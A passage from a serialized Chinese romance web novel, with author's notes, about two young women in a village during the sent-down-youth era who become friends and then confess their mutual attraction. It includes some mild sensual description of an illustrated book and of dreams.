季白青摇头,“不重。” 她每一步都走得很稳,呼吸声也平缓,原本觉得过分炙热的温度,过了一会儿后却让温淼觉得有些心安。 将人背到卫生所,卫生所的张婶见到来的两个人后脸色不大好看,但还是板着脸给温淼检查了脚踝,开了几贴药膏就赶她们离开。 出了卫生所,季白青问:“把你送到知青点去?” 这话问出口后,她忽然想到村里人说温淼和知青点其她人的关系都不好的传闻。 季白青又有些犹豫,她现在受了伤,不方便走动,其她知青会愿意照顾她吗? 她鬼使神差开口:“如果不介意的话,去我家也可以。” 这句话刚说出来,她就有些后悔,知青点不好,可她那也确实不是什么好去处。 只是还没等她后悔,温淼眼睛瞬间亮起,轻声道:“不想回知青点。” 季白青只能将反悔的话咽回去。 今天她受伤了,需要照顾。 一言不发地将她背到了家里,将人放在凳子上坐着的时候,季白青看着屋内的陈设,有些窘迫。 屋里这么简陋,也不知道温淼会不会嫌弃。 她去打了盆水回来,让温淼将自己身上的泥渍的擦拭干净,最后才帮她挽起裤腿,看她发红的脚踝。 好在那一处只是发红,并没有肿起来,大概也不太严重。 她用帕子给她冷敷一会,将药膏放在了桌上。 “过几分钟你自己把药膏贴上,我去山上把凉薯挖回来。” 叮嘱完后,她挑着桶往山上走。 就这样被季白青丢在了家里,温淼开始也有些不自在。 但人离开了一段时间,她捧着桌上的杯子喝了一口水,开始好奇地打量季白青家。 屋子很大,不过家具只有寥寥,但每一处都被收拾得干干净净。 等了好一会儿,季白青都没有回来,温淼撑着脸等得有些无聊,不知道什么时候,趴在桌上睡着了。 季白青将凉薯挖回来找了处荫蔽的屋子放着,分出来另一半准备让温淼带走。 再进到堂屋中,才发现温淼已经睡熟了。 她的脸颊微微偏过一边,漫着淡淡的粉色,垂下来的睫毛浓密卷翘。 季白青犹豫了一会儿,给人披了件薄外套,这才回到灶房开始做饭。 闻到了一点饭菜香味,温淼睁开沉重的眼皮,肩上的外套滑落在凳子上。 大概是季白青给她披上的。 她也有些饿了。 季白青端着饭菜放到桌上,转头见温淼已经醒了。 她将以前季涟用过的拐杖递给温淼,“洗手吃饭吧。” 温淼点头。 桌上摆了两盘菜,一盘清炒凉薯,一碗蘑菇汤。 季白青将盛好的饭给她:“吃吧。” 温淼捞起枞菌尝了一口,清汤寡水没有任何味道,让她差点以为自己在生吃菌子。 她抬头看了眼安静吃饭的季白青,又夹了一筷子凉薯,原本脆嫩的凉薯被炒得发软,味道还……很咸。 温淼再度抬头看向季白青,她吃得很认真,规律的一口饭一口菜,像是丝毫感受不到有多难吃一般。 难道是她的味觉出问题了?温淼忽然想到了她奶奶,温向荣做饭都比这要好吃些。 最终她艰难地碗里那点饭给吃完了,见季白青洗碗回来,才委婉开口:“季白青,你的厨艺跟谁学的?” 她喝了口水,压下嘴里过度的咸味。 “自己琢磨的。”季白青有些奇怪看她一眼,问这个干什么? 忽然想起以前季涟就因为她做菜难吃打过她,季白青忽然了然。 “太难吃了?” 温淼摇头,语气委婉:“只是觉得还有很大的进步空间。” 在知青点,她们轮流做饭,温淼原本以为自己做出来的算难吃的,没想到和季白青的一比,还能算得上是有天赋。 季白青细细去回想刚才的味道,什么饭菜对她来说都是一个味道,她不贪口腹之欲,唯一的要求就是填饱肚子就好。 有些歉意地看了眼她:“抱歉。” 温淼托着脸颊,看着她,小幅度地晃了晃腿:“我可没说你做的难吃,不过能给我洗个凉薯吗?” 季白青洗了两个,给她一个后自己也拿了一个啃。 脆生生的凉薯入口后甜脆,比炒熟的要好吃一些。 感受着嘴里的甜意,季白青看向温淼,果然看见她弯起来的显得愉悦的眉眼。 她很喜欢甜味,季白青得这样的结论。 在温淼感受到她的注视之前,季白青收回视线。 温淼慢半拍回看回去,盯着她的侧脸看了会儿,问:“你家里没有其她人吗?” 季白青应了一声,回答:“对,我娘和爹去世了,老头子是几年前也没了。” 闻言,温淼突然有些后悔。 她只是觉得一直沉默下去有些尴尬才随意挑的问题,却没想到……她不该问出口的。 盯着平整的地面,温淼慢慢开口道:“对不起……我不知道。” 季白青面色平静:“不用对不起,你不知道,我也不介意。” “我妈妈也不在了。”温淼想了想,和她分享自己的秘密,将自己被设计下乡的事也娓娓道出。 听完后,季白青有些没反应过来。 原来看起来娇矜明艳的温淼也会经历这样的事吗? 她原本以为,温淼是会被家里人娇宠着长大,没想到在别人不知道的地方,也经历了那么多。 温淼说完后,见季白青看着自己的眼神变化,轻轻戳她肩头。 “干什么?不用可怜我。” 季白青收回视线。 “没有可怜你。” 她连自己都顾及不过来,哪有心思可怜别人。 季白青不过是忽然觉得她和温淼有点像,但也就那么点。 胡乱想了想,温淼叫她的名字。 “季白青,你家里有书吗?” 她说完自己的经历后,反而有些不好意思继续和对方聊下去,不如找本书看好让自己显得自在一些。 季白青点头,去季涟房间随意抽了几本出来。 “你要哪本?”她摆开给温淼看。 温淼仔细看了看:“那本游记吧,你给我。” 季白青将几本书封上的字对比下来,最后叹出一口气,递到温淼面前。 “你自己拿,我不认识字。” 闻言,温淼拿书的手顿住,最后没心思再看内容,随意拿了本最上面的书。 她喉咙有些干,小心翼翼地看着季白青,“你一点都不认识吗?” 季白青坦然点头,后面想了想,犹豫道:“认识一些简单的。” 温淼的心里有些不是滋味,垂眸将手上的书翻开,才发现是她完全不感兴趣的内容。 看起来斯斯文文又聪明的姑娘居然不识字,温淼完全没想到。 她攥着纸张,迟迟没有翻到下一页。 温向荣曾经和她说过,女孩子一定要多读书、多识字,以后才能干大事,有出息。 明明村里也办了学校,甚至学费也不贵,季白青怎么会不识字呢。 季白青也不知道温淼为什么就变得沉默下来,她一时间不知道该干什么,拿了个扫帚去扫院子里的落叶。 时间不知不觉就溜走了,见着太阳西斜,季白青终于回了堂屋。 她问温淼:“晚上还在这吃吗?” 温淼摇了摇头,“我回去了。” 听见这回答,季白青没有惊讶,只是默默将温淼的东西收拾出来,一个竹篓和一桶凉薯。 见她要帮自己把凉薯提到知青点去,温淼出言阻止:“这都是你挖的,不用给我。” “不行,”季白青拧眉,“如果不是你发现的话,我根本不知道,而且我已经留了一半了。” 温淼怎么劝都劝不动,最后看着属于她的凉薯,只能道:“那我先放在你这里保存,我不想便宜知青点那群人,你给我放几个放进竹篓里就行。” 季白青默默按照她所说的做。 回去的时候,她替温淼背着背篓,一手扶着温淼,让她走得没那么累。 路上,村里人见着她们两个人又挨在了一起,看向她们的眼神充满厌恶。 有个大娘以为温淼刚来不知道季白青的身份,便开口劝阻道: “温知青,你不知道,这可是我们村地主家的狗崽子,靠近她要倒霉的,你不要和她走的太近。” 这话说完后,温淼感受到扶着自己的手微微一僵。 这不是第一次有人在自己面前这么说了。 她抬头看向大娘,语气认真:“大娘,我不管她是什么身份,我只是把她当做是我的朋友而已。” 察觉到扶着她的手想要抽走,温淼捏着她的指尖,没有放开。 听她说着这话,大娘觉得自己好心被当成驴肝肺,瞬间黑了脸。 “反正我已经和你说清楚了,以后倒霉了可千万别怪大娘不提前和你说。” 说完后,她腰一扭,走了。 温淼转头看向季白青,出言催促:“走吧。” 季白青看着她抓着自己指尖的手,最终还是点了头。 两人走在一起,不少人窃窃私语,“狐媚子”、“狗崽子”之类称呼不绝于耳,季白青看着温淼,她脸色没有任何变化。 将人送到了门口,温淼没让她直接走。 “季白青,我刚才说的话你听到了吗?” 那句话?季白青的心里有了答案,却有些不敢肯定。 她躲开温淼的视线,最后耳边响起温软的声音。 “我说我们是朋友,那你觉得我们能做朋友吗?” 季白青的心跳微微加快,有些不受控制地抬头看向女人。 女人眼眸温柔澄澈,正在等着她的回答。 原本否定的话彻底说不出,过了良久,她轻声回答:“能。” 温淼弯起来眼睛,心情愉悦几分,又问:“那下次可以继续和你一起干活吗?” 季白青不明白她为什么总是想要让她自己干重活,摇头拒绝。 “不行。” 哪知温淼哼了一声,睨了她一眼,“我才不听你的。” 她早就受够了听陆延那群蠢货说话,这样一比较起来,她还是更喜欢和季白青这样话少的人一起。 说完,她撑着拐杖转头往屋里走,一缕带着香气的发丝划过季白青的鼻尖。 季白青在原地呆愣几秒,回去的时候大脑还有些空白。 她和温淼成为朋友了? 怎么听怎么奇怪。 晚上做饭,想到温淼问她厨艺的表情,季白青做菜途中尝了好几次,炒出来的菜的味道好像比中午要好上一些。 如果中午做菜的时候也记着先尝一口就好了。 【作者有话说】 感谢投雷营养液,感谢订阅评论收藏~ 89 第89章 ◎这书不正经!◎ 尽管每次想起来她和温淼成为朋友的契机季白青都觉得惊奇,但两人的关系确实从那之后就慢慢好了起来。 两人的处境确实有些相似。 温淼主动申请和季白青在一处干活,季白青会帮她干活,温淼也会在休息的时候给季白青补课,教她识字。 钟灵毓秀的姑娘不识字怎么行,温淼愿意给季白青当老师。 季白青确实很聪明,两个多月的时间能够将简单的字认识的差不多,即使是独立读一篇文章也没什么大问题。 一个是地主家的狗崽子,一个是长得勾人脾气蛮横的狐狸精,两人的关系亲近,在村里人看来便是同流合污。 她们一起被孤立排斥,不过季白青和温淼都不在意,像个跟动物幼崽似的报团取暖,相互依赖,过得比以前却是顺心了不知道多少倍。 周六这天干完活,看着在橘黄落日下温淼依旧显得璀璨明亮的眼眸,季白青的指尖绷直,叫住了温淼。 “温淼,明天要去我家吃饭吗?” 温淼看着她,眼中有些讶异。 她对第一次在季白青家吃的饭菜还……嗯,印象深刻,但见季白青绷着一张小脸、期待等她回答的模样又觉得过分可爱。 她装模作样沉思一会儿,见她脸上多了些紧张,终于忍不住笑出声来。 “好啊。” 温淼低头想着,厨艺不好也没关系,前段时间奶奶她们寄过来的肉罐头刚好还剩下一个,明天带过去和季白青一起吃。 更何况两个月期间她还没有再尝过季白青的手艺呢,说不定她会有所进步。 听到了对方的回答,季白青唇角小弧度扬起,眸中带了点碎光,这个时候才显示出一点十九岁女孩的朝气。 温淼盯着她好一会儿,季白青被看得身体僵硬,“怎、怎么了?” 温淼将手指点在她的唇边,“笑起来更好看。” 季白青总爱板着脸。 听了这话,季白青耳垂微红,“哦”了一声。 在之后她就有些听不到对方红唇张合到底又说了些什么,只隐约记得她的唇色很漂亮,回到家里,季白青躺在床上,将脸埋进枕头,透过发丝空隙还能看见冷白的颈脖也漫上了粉意。 每次温淼夸她,她都格外地羞赧。 第二日一早,季白青从随意对付一顿早饭就立马去了后山上抓兔子。 抓到两只肥兔子后,她还觉得有些少,又多抓了一只,摘了些已经软下来的猕猴桃,她这才背着竹篓下山。 回家后季白青去地上将今天需要的菜摘了回来,提前两个多小时准备做菜。 温淼来得比饭点要早一些,将带来的点心和罐头放在桌上,她去了灶房,有些惊奇地看着季白青炒菜。 只看熟稔的动作的话,其实还是挺唬人的,像是大厨。 “需要我给你帮忙吗?” 也不知道是在做什么,灶房里一股呛人的辣味,不过说了一句话,站在门口的温淼被呛得直咳嗽。 听见女人的咳嗽声,季白青有些着急,“不用,你快出去,这太呛了。” 温淼也实在是坚持不下去,转头回了屋里坐着才好受一点。 菜渐渐被端上桌,将红薯饭端上桌后,季白青擦了擦手,温声道:“吃饭了。” 温淼洗了个手,回来看着桌上的三盘菜有些惊讶。 一个炒空心菜、一个辣椒炒兔肉,还有一碗枞菌丝瓜汤,卖相就和上次的分外不同。 闻着也很香。 她尝了一口兔肉,眼睛微微瞪大。 等到咽下去才对季白青弯了弯眼,夸道:“你好厉害,厨艺进步了好多!” 温淼觉得比温如嫣做的还要好吃。 闻言,季白青高高提起的心放下,垂眸勾起浅笑。 “那你多吃一点。” 也不枉她每天都苦练厨艺,从季涟的书房里翻出一本菜谱,不认识的字对照着字典一个字一个字查,最终才有现在的手艺。 三个菜温淼都尝了些,意外地合她口味。 不过是两个月而已,吃完后,温淼看她的眼神里仍有惊叹。 “真的好厉害。” 她夸得好直白,季白青被夸得脸红。 季白青犹豫一会儿,睁着圆溜溜的杏眼有些期待地看着她:“如果你喜欢的话,以后可以经常来吃饭。” “我可以上山抓兔子、竹鼠、蛇……很多很多肉,只要你喜欢。” 温淼:“……我不吃蛇。” 见青年杏眼黯淡几分,温淼连忙补上后面一句:“但是可以来和你吃饭。” 也对,季白青不过是个十九岁的姑娘,其实还是个孩子呢。 吃饭想要让人陪着也正常,一个人吃饭好像确实没滋没味。 想了想自己分配下来的粮食大部分都被陆延他们那三个男知青吃了,温淼垂眸一想,犹豫发问: “我把我的粮食放你这行吗?我们以后就一起吃饭,做饭也可以轮流做,你也不用担心一个人吃饭孤单了。” 季白青没想到她会愿意这样,小心翼翼问:“可以吗?” 温淼没忍住,弯起眼睛揉了揉她的黑发。 “笨,我在问你,怎么又问回我来了。” 季白青抿唇羞怯一笑,“好,我现在就能去帮你搬粮食。” 去搬粮食的时候,看着知青点其她人难看的脸色,温淼出了一口恶气。 以后总算是不用再看着那些倒胃口的人吃饭了。 回到季家,她将桌上的饼干拿出来,喂了季白青一块。 “好吃吗?” 知道对方不爱吃甜食后,温淼买东西也习惯买一份不那么甜的。 香酥的饼干在嘴里化开,季白青点头。 和季白青一起吃饭后,温淼做饭的次数反而少了起来,早上一过去,季白青早就做好早饭了。 季白青偶尔让温淼在一边给她打下手,导致温淼现在生火生得很熟练。 前段时间双抢刚过,活总算是少了下来。 今天不用上工,吃了午饭,温淼软绵绵打了个哈欠。 季白青觑她一眼,“困的话可以去我床上睡一下。” 怕她嫌弃自己,季白青补充一句:“我昨天刚洗的凉席。” 温淼摇了摇头,“不用,昨天教你的字你都记住了吗?现在复习一遍。” 她虽然没通过村里招小学老师的考试,但自觉教季白青认字学文章的时候还是有一套的。 温淼让季白青将笔和本拿出来,在她默写的时候,温淼去房间翻找季涟留下来的书本。 翻到一本散文后,她拿出来翻了几页,觉得写的不错,准备待会儿让季白青读一读,多认识几个字。 出去的时候,季白青恰好将昨天教的几个字写完。 她看了眼,纠正了一个错误。 在长椅上坐下,她对季白青招了招手。 “过来读文章。” 季白青接过,挨着她坐了下来。 前面读者磕磕绊绊,也算是顺畅。 读到后面,温淼越听越不对。 “……所狭之男子绝少,而妇女喜之与昵。俗所谓磨镜党者是也。” 听季白青念到这一处,温淼的脸颊微红。 她细声打断:“别、别念了。” 明明是选的散文,怎么里面还掺了篇这个进去。 季白青有些疑惑地看向她,不知道为什么她的脸颊那么红。 她问:“温淼,磨镜是什么意思?” 温淼对上她纯澈的眼眸,一时间不知道该说什么,偏过头去,语气囫囵而过。 “我也不……不知道。” 季白青低头往后翻了一页,看着书页上印出来的两个女人裸|体相贴的画面,顿时睁大了眼睛。 她们的两处柔软相贴合,其中一人的手放在另一人身下,舌头也纠缠在一起,即使是线条画也能够看出来几分绮丽。 温淼好不容易做好心理准备抬起头来,见季白青还在低头认真看着书,便也凑了过去。 结果看到的便恰好是这女体交缠页,一瞬间,从脸颊红到了耳根。 这本书,怎么这么不正经! 她身体微微前倾,将书抢了过来,胸膛微微起伏,声音也有些恼。 “这书……不适合你看!”会教坏季白青的。 两人的姿态亲昵,温淼大半柔软都压在了季白青的手臂上。 季白青抵住她的肩膀,也同她一样红着脸,低声道:“淼淼……你坐好。” 在心里想过数次的称呼就这样被她叫了出来,温淼听着也是一愣,稍微坐直了身体后,将书本合上。 她开口胡乱转移话题,总之不要再提到刚才的话本就好。 “没人在的时候叫我蓁蓁也可以。” 两人早就已经是朋友,温淼对季白青确实比对她人要不同些。 想了想,她看着季白青:“我叫你阿青吧。” 阿青……季白青在心里念了几遍,但无论换做是无论什么语气好像都比不上温淼叫的悦耳。 温淼最后只能找了本其它正经书让季白青看,让她学完一篇文章后才回了知青点。 她回去之后,季白青默默将被放回去的书翻了出来,打开翻到的那页后继续往后看。 磨镜……到底是什么意思? 书被翻到了最末,季白青看完后,全身上下都泛上粉意,站起来的时候还觉得有些晕晕乎乎的。 两个女人……也可以那样吗? 她回到床上的时候,感觉身体异常的热,尤其是脸。 翻来覆去烙饼似的,一直没能睡着。 两个女人能磨镜,那她和温淼…… 想到这里,季白青轻拍自己的脸颊。 温淼是朋友,不该那么想才对。 也不知道是在什么时候睡着了,季白青迷糊做了个梦。 女人雪白纤瘦的脊背露在自己面前,黑发散落,越发抓人眼球。 她转过身来,面孔模糊,像是被蒙了一层面纱,黑发垂下,遮住若隐若现的粉晕,随后毫不避讳地压了下来,与她的柔软相贴。 “阿青。”女人清甜软媚的声音唤着她的名字,季白青艰难撑开眼皮一看,美艳的面孔在她面前徐徐展开。 季白青倏地睁开眼,胸口上下起伏。 梦里的人……是温淼。 怎么能是她呢?季白青羞耻得几乎要哭出来。 【作者有话说】 纯情青青,因为做了关于老婆的chun梦就羞耻得想哭哈哈哈哈哈 感谢投雷营养液,感谢评论订阅收藏[撒花] 90 第90章 ◎都怪她◎ 绮丽旖旎的梦境盘旋在季白青的心间,久久难以散去。 一想到待会儿还会见到温淼,又做了关于她的那样出格的梦,她就怯于见到对方。 怎么会做那样的梦呢。 温淼在她心里,该是好朋友和老师才对。 咬着唇将贴身衣物换了一遍,她起床将衣服洗了,最后还欲盖弥彰地又将床单浸湿挂在竹竿上,挡住后面的衣服,这才开始做早饭。 其实她现在心情复杂到没多少心情做饭,但她不吃倒不碍事,只是温淼待会儿会过来一起吃早饭。 温淼有低血糖,一顿不吃都不行,季白青对她比她自己要上心多了。 锅里的粥煮开了,咕噜咕噜地开始冒泡,季白青往里加了点切碎的嫩南瓜,白粥间点缀着一点青翠。 温淼来的时候,她恰好将粥盛出来。 她路过院子,见着竹竿上搭着的还在稀稀落落往下滴水的衣物,有些奇怪地问季白青:“怎么突然大早上洗衣服了?” 她知道对方的习惯,季白青往日都是在晚上洗完澡后顺手就将换下的衣服给洗了。 听着她的问题,季白青的身体一僵,耳朵不受控制地开始发热,抿了抿唇后木着一张脸开始解释: “……我、天气快冷下来了,我想着要洗床单就留着早上洗了。” 温淼有些莫名地向外看了眼还没到八点就已经高高悬挂的太阳,光是走过来她就出了一身细汗,离她所说的气温降下来还得一两个月吧。 不过看着季白青略显紧张的脸,她觉得有些好笑。 “那么紧张干什么,我又不会吃了你。” 季白青垂下睫毛,纤长的睫毛细细发颤。 又不受控制地开始想那旖旎的梦境,梦里的温淼……确实将她的手指吃了进去。 “阿青,阿青?” 温淼看她冷白的脸颊逐渐泛上红晕,觉得有些奇怪,连叫了几声她的名字。 季白青下意识应了一声,抬起那双水涟涟的眸子,眼神还有些茫然,衬得泛着粉意的脸颊显得越发羞怯。 到最后,她都不知道自己到底回答了些什么,慌乱转过脸去,轻声道:“吃饭吧蓁蓁。” 温淼又盯着她看了会,见人被自己看得脸越来越红,最后才挪开了视线。 “搞什么。”她咕哝一句。 吃饭、上工、休息,日子一天天过去。 季白青原本还能够勉强将做那种梦的责任推给前一天看的不正经的书,只是她将那本书丢在了角落,发誓再也不会看后,晚上还是会做各种缱绻的梦。 梦里,温淼和她牵手、拥抱、亲吻,两人会躺在一张床上,身体贴合,姿态亲昵。 这样的幻梦怎么都停止不了,季白青从起初的懊恼,到最后竟然有几分习惯,甚至偶尔想要沉溺于春色无边的梦境之中。 梦里两人将什么事都干了一遍,可是在梦外,她们最亲昵的动作不过也是碰碰手指。 无端的梦让人懊恼,梦境和现实交织对比,偶尔看着现实里与她相处间进退有度的温淼,她都难以控制地想到梦里的温淼,从梦里品出一丝甜意。 梦里的温淼会向她撒娇,用娇滴滴的声音唤她的名字,和现实里像个姐姐似的温淼不大一样。 可她都好喜欢。 季白青觉得她好像病了,但一直病下去也不是办法。 她唯一能够想到的办法就是与温淼保持距离,只要离得够远的话,应该不会再有那么多无端的心思产生了吧?- 八月末,潇南的天气还是格外炎热,眼见着要九月份了,却还没有丝毫要降温的意思。 气温过于炎热,总让人心生躁意。 温淼也有些气恼。 按理来说,八月末地上已经没什么活,每天分配下来的任务变少,她能够休息的时间变多,应该高兴才对。 只是她不知道为什么,季白青好像在躲她。 原因未知。 所以她偶尔会觉得自己还是不太能洞穿小上自己三岁的女孩的心思。 她在想什么,温淼丝毫不能猜到。 其实季白青的躲她的行为也没有多明显,两人同样会一起干活、一起吃饭。 但具体表现为原本被她带得话多了些的小姑娘最近又变得沉默了一些,跟初见时一样,她说几句话,对方才会慢吞吞回上一句。 季白青也很少再主动同她说话,甚至每次吃完饭后也不再留她休息,而是要催促她回知青点。 不过小姑娘还是一如既往地贴心,默默替她将所有需要的东西准备好,做的每一顿饭都完美贴合她的喜好,温淼有什么不高兴也能立马感受到,偷偷为她准备小礼物,只希望她能够开心起来。 只是对她好是事实,躲她也是事实。 温淼好不容易让蜗牛似的季白青敢在她面前伸出触角,但还没过多久,对方就想要缩回头去。 这怎么行? 更何况,在温淼心里,季白青是不一样的。 谁都可以躲她,就季白青不行。 想清楚这一点,温淼的心情倒是好上了许多。 她垂眸看着自己黑色长裤上的缝痕,用指腹摸了摸。 这还是先前某次和季白青一起上山,裤子不小心被荆棘刮破后,季白青亲手给她补上的。 季白青以为她不会缝衣服,帮她补得整整齐齐。 温淼想逗她,特意等着她缝好之后才将自己绣的手帕拿出来给她看。 同季白青缝得整整齐齐的缝痕不同,温淼绣的花纹更为精致,一对比起来季白青的就显得难以入眼。 在季白青看到后,她也确实窘迫地想要立马将线给拆了,最后还是被温淼拦住了。 季白青给她补的,她很喜欢,这条裤子也成了她在之后穿的频率最高的。 自从上次发现知青点的人不经过她的同意就用她的东西后,温淼将自己的柜子都锁了起来。 待会儿要去季白青那吃晚饭,想了想,温淼找了几种季白青爱吃的零嘴,用兜子装上后准备待会儿带过去。 乌金西坠,金色日光懒洋洋往下撒。 温淼眯着眼睛,无视掉知青点其她人各异的眼神,提着东西往季白青那去。 到的时候,季白青刚好在切菜。 温淼将东西放在桌上,开始准备给季白青生火。 利索切好菜的季白青欲言又止地看了温淼一眼,最后想到自己的决定,还是闭上了嘴。 将两个菜炒好之后,温淼将饭盛到桌上。 吃完后,她指了指桌上放着的零嘴,道:“你爱吃的,记得吃完,别放坏了。” 憋了一顿饭时间的季白青此时终于忍不住开口了。 她呐呐:“怎么总是给我带东西,你留着自己吃。” 这些点心都要票,也不便宜,更何况…… 她有些不自在地抓着自己的衣服,看温淼一眼,轻声道:“你都瘦了。” 温淼撑着脸弯起眼睛看她,笑眯眯问:“有吗?我觉得还好吧,而且不是都说瘦一点好看吗?” 季白青语气有些着急:“可是你现在就很好看,不需要再瘦了,你已经很瘦了。” 这话也就只有季白青能够说出来,明眼人都能够看出来,每天跟着季白青一起吃饭,温淼身材丰腴不少,纤秾合度。 脸色与以往相比也显得更有血色,显得明艳动人,就连生病的次数也有所减少。* 季白青也不像是以往那般过度纤瘦,因为温淼和她一起吃饭,她做饭也不再像是以前一样敷衍,营养跟上来了,就连身高都窜了窜。 “嗯,我有事想问你。”本就是胡扯出来的话,她也没想着季白青回答的那么认真。 温淼轻哼了一声,睨着眼看她,直接切入主题:“你先坐下。” 季白青咬着唇,有些不明白她说这话的用意是什么。 难道她发现自己…… 内心涌上了几分不安,季白青磨磨蹭蹭地坐了下来。 刚一坐下,温淼便开口询问:“最近有什么事瞒着我?” 季白青眼神微闪,垂着睫毛不敢看她,回答的话几乎是立马出口: “没有。” 她有些心虚,声音再次小了一分:“没有。” 见她这副样子,温淼脸色微微一凝:“再问一次,最近有什么事瞒着我?” 季白青内心越发不安,几乎说不出话来,又怕温淼生气,最后挤出来的回答还是和刚才一样。 温淼轻声一笑,那双琥珀色的眸子却不带什么情绪。 她站了起来,下出最后通牒。 “行,既然你是这样的态度,那我们也没什么好谈的。” “我先走了。” 说着,她站了起来,准备回去。 听她这样的话,季白青内心的不安到了极致,下意识拉住了她的手腕,语气恳求。 “蓁蓁……别、别走。” 她的内心十分慌张,怕温淼走了之后就再也不理她了。 温淼侧过脸去,垂眸看她:“还不说实话吗?” 季白青还是很犹豫。 那种事说出来的话,温淼会不会更加不能原谅她? 犹豫的时间,两人之间沉默下来。 给了她足够的时间,季白青还是不肯说实话。 温淼抿唇将自己的手抽出来,声音有几分冷淡:“不想说就算了。” 说完,她往门口走。 听着脚步声渐远,季白青顿时愣住。 温淼走了吗? 她下意识地想要站起来去追她,可身体却像是被钉在了原地,动弹不得。 季白青很想要回头看她是不是真的离开了,但又不敢真的回头看她离开的背影。 她好像将事情搞砸了。 可是那种话怎么能够说给温淼听呢,她要将自己的心思在温淼面前袒露,如果听到她的实话的话,温淼大概会更加生气才对吧。 都怪她对朋友产生那种心思,两个人明明是好朋友。 怎么可以做那样的梦。 都怪她,都怪她,都怪她。 她低着头,又有些失落地想,如果刚才将实话告诉温淼,温淼是不是就不会离开了? 因为撒谎,温淼讨厌她了。 想着,季白青心中莫名生出了一丝委屈,水汽在眼眸中氤氲开。 她背对着敞开的大门,微微弯起了背,用手捂住了眼睛,呜咽一声。 她知道错了。 不该做那种梦,也不该对温淼撒谎。 站在门口并没有走远的温淼看着她单薄的背,抿唇,心里也有几分不是滋味。 在原地站了一分钟,她悄无声息走到了季白青身后,轻声开了口:“你哭什么?” “刚才问你话的时候不是还一直想对我撒谎吗?” 听见了原本应该离开的人的声音,季白青的背一僵。 温淼走到她的面前,低头看着季白青已经长长许多的黑发,手放在上面轻轻揉了揉。 “委屈什么?” 季白青再次呜咽一声,大着胆子伸出手圈住了温淼的腰肢,将脸贴了上去。 濛濛细雨似的泪将温淼小腹上单薄的布料打湿,湿意接触到皮肤。 温淼的心软了下来。 一下一下给委屈得跟小狗似的女孩顺着背,她道:“好了,哪有这么委屈。” “现在能告诉我有什么事瞒着我了吗?为什么突然躲着我?” 季白青抬起来来看着温淼,泪眼婆娑,眼圈微红。 温淼将手帕拿出来给她擦眼泪,语气有几分无奈。 “至于吗?我又没骂你。” 季白青摇了摇头,声音因为哭过有些哑意。 “我告诉你……” “你别走。”说这一句话的时候,季白青的声音又低了几分。 在刚才她才发现,原来比起被温淼知道自己所做的梦的内容,她更害怕温淼因为对她失望而离开,以后再也不会理她了。 温淼点头,在她的对面坐下。 季白青捏着自己的手指,指腹被压得发白,细声道: “只有一件事瞒着你。” “嗯。”温淼应了一声,盯着她的眼。 季白青被她看着心跳乱了一拍,复而垂下眼睫,不敢再和她对视。 她说:“对不起蓁蓁,我总是会梦到你。” “……像是那本书上的一样。” 听完后,温淼原本还没有反应过来,几秒钟后才明白她所说的书是什么。 脸上的正经神色瞬间少了些,她有些犹豫问:“什么梦……” 季白青的脸攀上粉霞,头更低了,恨不得要将自己埋进土里。 声音也结结巴巴,说出来的话几乎不带什么逻辑。 “梦……第一个梦和书上一样,你压在我身上……之后的梦还有很多。” “我们牵手、拥抱……” 还没等她说完,季白青的嘴就被温淼捂住。 一点淡香绕在季白青的鼻尖,她抬头有些茫然地同温淼对视,这才发现原来对方的脸上也带着绯色。 两人大眼瞪小眼,不约而同地错开了视线。 温淼咳了一声,想着自己要比季白青大一些,应该教她才对,不能显得那么不靠谱。 她含糊道:“其实那天我也做了和你差不多的梦,对象……也是你。” 闻言,季白青愣愣瞪大了眼睛。 原本她以为自己所做的梦是对温淼的亵读,可是她……也做了和自己一样的梦? 这说明,做这种梦是正常的吗? 温淼原来也会梦到她。 将对方刚才所说的话再度在脑海中重复一遍,季白青觉得心里有些雀跃。 温淼不知道季白青在想什么,结合自己和季白青做的梦,最后得出来总结:“所以做那种梦是正常的,不过是因为以前我们没见过,第一次看太惊讶了,所以我们才忘不掉。” 她不动声色拢了拢腿根,十分理直气壮开口:“所以都是那本书的错。” 季白青在一边点头,盯着温淼若有所思。 她今天穿的一身浅色衣物,衬得肌肤胜雪,柔软的小腹处沾上了点深色,水渍在布料上晕染开。 季白青还记得刚才的触感,柔软的小腹和手下那截纤细的腰身。 她捻了捻指腹,试探地问温淼:“那我们可以牵手吗?” 拥抱勉强算是体验过了,季白青却还有些不满足,想要和她牵手。 这话一出,她自己都在心理觉得自己实在是太过贪婪。 温淼听了这话,倒是没有纠结多久。 直接牵住了季白青的手。 两人的手心都柔软,只是季白青的手上带着些陈年老茧,温淼因为上工,手心也有一点,但要比季白青好上许多。 一只手炙热,一只手温软,交握在一起的时候,不同的体温混合在一起。 季白青拢着她的手掌,心跳微微加快。 和梦里比起来,现实中的牵手让她更为欣喜。 温淼低头看着两人的手,感受着对方手上炙热的温度,也觉得心里有些奇怪。 过了一会儿,她将手抽出来,“好了,热。” 她脸上带了些不自在。 季白青有些失落地低下头,就听见温淼再度开口:“行了,以后还有更多的机会给你牵。” 【作者有话说】 满头雾水的姐试图教青青看开,实则自己也是个小笨蛋 感谢投雷营养液,感谢评论订阅收藏~亲亲~[撒花] 90-100 第91章 ◎娇气◎ 平静的日子一天一天过去,云水村后山处的树叶由绿转黄,风一吹就簌簌往下掉。 凉爽的风往人的身上吹,将女人的长发往后吹。 看着穿着一身白色薄外套的温淼,季白青还觉得有些不真实。 从九月到十一月,不到两个月的时间,季白青和温淼一起牵手、拥抱,将这些亲昵的动作练习得足够熟练。 在温淼以前,季白青从来不会想到自己会和另一个人如此亲近,她被关心、被信赖、有了人陪伴,仿佛是突然之间拥有了爱。 因此,她的私心想要让这一份感情能够维持得更加持久。 季白青谨慎又小心翼翼地用行动维系两人之间的关系。 与此同时,不可否认的是,她投放在温淼身上的视线越来越长,贪婪地渴望与她变得更加亲密。 也想要……温淼将更多的眼神投放在她的身上。 好像太过贪心。 温淼左手拿着要换洗的衣物,心情颇好地走到季白青身边,亲昵挽住了她的手。 见对方似乎在发呆,温淼有些奇怪。 “阿青,在想什么呢?” 季白青回过神来,看着靠在自己臂弯的那张小脸,微微弯了弯唇,略显冷淡的脸上瞬间露出一抹柔色。 “没什么,只是在想今天晚上吃什么。” 温淼晃了晃手上今天托人买的排骨,声音甜软:“吃排骨!” 见她面露期待,季白青也被感染了几分,轻轻点头。 “好,回去加点板栗做炖排骨。” 天气冷了下来,地上的活不剩下多少,每天都过得比以往松快,也不会出什么汗。 知青点的澡间简陋,天气一冷四面漏风,温淼前几天洗了一次后发了低烧,知道缘由后,季白青头一次强势要求她以后来自己家洗。 